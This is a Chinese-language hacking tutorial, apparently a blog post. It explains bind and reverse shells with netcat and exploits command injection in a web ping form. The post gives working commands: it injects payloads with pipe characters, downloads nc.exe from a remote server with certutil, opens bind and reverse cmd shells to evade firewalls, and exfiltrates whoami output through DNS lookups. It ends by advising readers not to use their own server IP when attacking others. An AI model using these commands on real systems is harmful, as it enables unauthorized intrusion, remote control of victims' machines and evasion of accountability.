前言
在渗透过程能获取shell是很重要的一点,首先可以使用一些漏洞对ssh和ftp进行攻击获取shell,如果没有这些漏洞可以考虑一下使用正向shell或者是反弹shell。
一、什么是正向shell和反弹shell
其实这个过程是相对的,需要找到一个参考点,假如说现在目标机器是Windows,攻击机器是Linux,Linux去连接Windows这个过程就是正向的,相反,如果Windows主动连接Linux那就是反向的,也叫做反弹。
二、正向shell
现在有两台机器,一台是Linux,一台是Windows,我使用Linux正向shell到Windows上。
首先在Windows上使用nc工具进行绑定端口,这里使用的是本地环境
nc -lvp 5566 -e cmd
其中5566
是绑定的端口号,cmd
是Windows的命令行窗口,然后运行
出现这样的界面就代表监听开始了,然后来到Linux环境下,也是使用nc来进行连接,需要注意的是,Linux和Windows要互相能进行连接才有用
nc IP地址 5566
IP地址是目标机的IP地址,5566是刚才绑定的端口号
当出现下面的内容就代表着连接成功了
我们可以输入指令运行了
这就完成了一次正向shell,当然也可以让windows连接Linux,在Linux中也是一样的操作
绑定的也是5566,然后在Windows中使用刚才在Linux中使用的指令就可以进行连接
这里需要注意一下,当在Windows连接Linux的时候是不会显示任何东西的,你可以一直使用whoami
来查看自己是否连接成功
如果出现用户名就代表着连接成功了。
这种方式就是让目标的某个端口携带着shell的程序等待着连接,攻击机自动的去连接它获取这个shell。
对于云服务器也是可以这样做的,首先来到目标的云服务器上,记住,一定要开放相应的端口才行,否则没办法使用。
然后本地连接对应的服务器IP地址和端口
就可以连接成功了
云服务器之间的互相连接也是可以的。
三、反弹shell
这种方式又是和正向是反过来了,攻击机自动打开端口等待着目标机带着shell进行连接。
这种配置的方法也很容易,假如我的Linux是攻击机,Windows是目标机,首先在攻击机这绑定一个端口
可以看到这里是没有携带着自己的shell的,然后在目标机中携带着shell来连接攻击机
可以看到这是携带着shell去连接到攻击机的,在攻击机中就可以获得对方的shell了
然后就可以运行命令了。
相反也是一样的,首先在Windows攻击机中进行监听端口
然后在目标机中连接端口并携带shell
然后在Windows这边就可以看到了
这种就是反弹shell,让目标主动的将shell送过来。
如果你要反向shell到内网中的机器,只能使用这个反向shell,如果使用正向是没有办法找到内网服务器中的电脑的。
比如说我要内外的一台Windows电脑被连接,首先我需要在我的云服务器上监听一下端口
然后使用一些手段到目标机器上连接服务器并携带shell
记得携带好端口号和cmd
,然后在服务器上就可以看到连接的信息了
这种方法一般是用来规避防火墙的,因为安全组对于进入规则的等级比较高,但是对于出去的规则检查就比较低了。
在这个过程中攻击机是处于一种被动连接的条件,而目标机是主动连接的,也就是出服务器,所以基本上不会有什么阻止。
四、使用场景
对于一些RCE
漏洞的网站,就可以使用反向代理来绕过其防火墙获得其shell。
1.什么是RCE
RCE(remote command/code execute) 远程系统命令执行,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
例如靶机中的这个一样
在输入框中输入url或者IP地址后就会执行命令
2.如何判断RCE漏洞
首先得了解一下在不同系统的管道符,管道符在学习Linux的时候会接触到,就是可以将多条指令连接在一起执行,就比如最常见的就是
ls -l |grep xxx
这种查找文件的命令。
管道符:|
: 管道符号 ||
:逻辑或 &&
逻辑与 &
:后台任务符
在Windows中有4中管道符,分别是
|
&
||
&&
在Linux下就有6中
|
&
||
&&
``
;
在Windows中如果要执行后面的语句我们可以这么写
ping www.baidu.com | whoami
这样只会执行后面的whoami
指令,知道了这个后我们就可以用这个管道符号来寻找RCE
漏洞了。
3.寻找RCE漏洞
我们知道了RCE漏洞其实就是执行了操作系统命令或者代码,所以我们可以使用管道符添加一下whoami
就可以知道是否存在漏洞,输入
www.baidu.com | whoami
然后点击提交后就会发现这个显示的是当前的用户
这样我们就确定好这个页面存在RCE漏洞了,我们现在要做的就是上传nc
工具,并开启监听,然后进行代理即可。
这里还需要知道一下,如何判断这个网站的后台是什么系统,用whoami
执行后会出现用户,一般root的是Linux系统,当然这种方法也不一定准确,还是得需要使用一些指纹工具和端口扫描工具进行扫描。
4.上传nc
这里可以直接百度查找一下上传的命令,这里推荐一个工具可以直接找到
然后得到指令后就可以用刚才的管道进行传输了,这里我使用的是这行代码进行远程下载
certutil.exe -urlcache -split -f http://IP:80/nc.exe nc.exe
其中IP是你的文件下载服务器IP,你可以自己搭建一个,搭建过程也是很简单的,首先先在服务器中下载一个宝塔或者Nginx,我比较推荐使用宝塔,直接图形化界面就搞定。
第一次下载打开面板后会让你安装一些环境,可以直接在这把环境安装好,也可以打开网页进行安装
然后新建一个网站就可以了,如果没有域名直接使用服务器的IP地址,然后端口可以随便选择,但后面记得在安全组中打开,然后将nc.exe
文件放到网站目录中即可。
放入后可以来测试一下是否能进行下载,这里用一个绝对路由就可以搞定
IP地址/nc.exe
如果出现下载就证明成功了。
然后我们可以在电脑上先实验一下上面的命令,如果发现下载成功那就可以直接拿到靶机上去使用。
这里就可以利用RCE漏洞进行远程下载nc了,往输入框写入
127.0.0.1 | certutil.exe -urlcache -split -f http://IP:80/nc.exe nc.exe
然后点击ping,就会得到下面的结果
我们可以查看一下是否上传成功
127.0.0.1 | dir
在里面就可以看到我们传入的nc.exe了
然后我们就可以正向或者反向shell了,这里两种情况都给大家介绍一下,首先是正向,就是把自己的cmd主动绑定出去
127.0.0.1 | nc -lvp 5200 -e cmd
然后页面就会卡顿,我们使用本地或者服务器去连接
nc IP 5200
直接就获取到cmd,但是这种方法容易被防火墙拦截,所以我们最好使用反向。
在云服务器上监听一下端口
然后在RCE漏洞那输入
127.0.0.1 | nc IP 5200 -e cmd
主动的将cmd放出去
很容易就获取到了。
5.不带回显的情况
当这个漏洞不带任何的回显,也就是输入了没有任何的反应,就比如这个样子
那如何判断我们输入后的结果呢?
我们可以让这个去ping一下这个工具给的地址
如果ping了这个地址,这个页面就会出现内容
但是我们如果使用前面说的管道就没办法输出内容,因为那个是属于回显的内容,比如说我还是执行
7y6n06.dnslog.cn | whoami
它是不会显示任何的内容的,这里在Linux中使用
127.0.0.1 | ping `whoami`.7y6n06.dnslog.cn
它是会显示的
但如果我们在Windows中就不会显示用户,所以我们要使用一种方法将用户信息带入出去这样就可以知道执行是否成功了,这里需要使用到PowerShell来进行字符串的拼接,使用下面的命令就可以了,但我这ping不通,我也不知道什么情况
127.0.0.1 | powershell &x=whoami;&y="6zhay5.dnslog.cn";&x=&x.Replace("\", "xxx");&z=&x+&y;ping &z;
这样就可以将whoami信息带出来了,剩下的步骤还是一样的。
总结
使用正向和反向shell可以获取到对方的shell并实现一些命令的执行,当然这个东西也不是一定能成功的,如果对方开启了防火墙,设置了出入站规则就很容易失败,这只是网络安全学习的一个小步骤,往后还有很多。
你对别人进行这种攻击千万不要使用自己的服务器IP地址,容易被锤。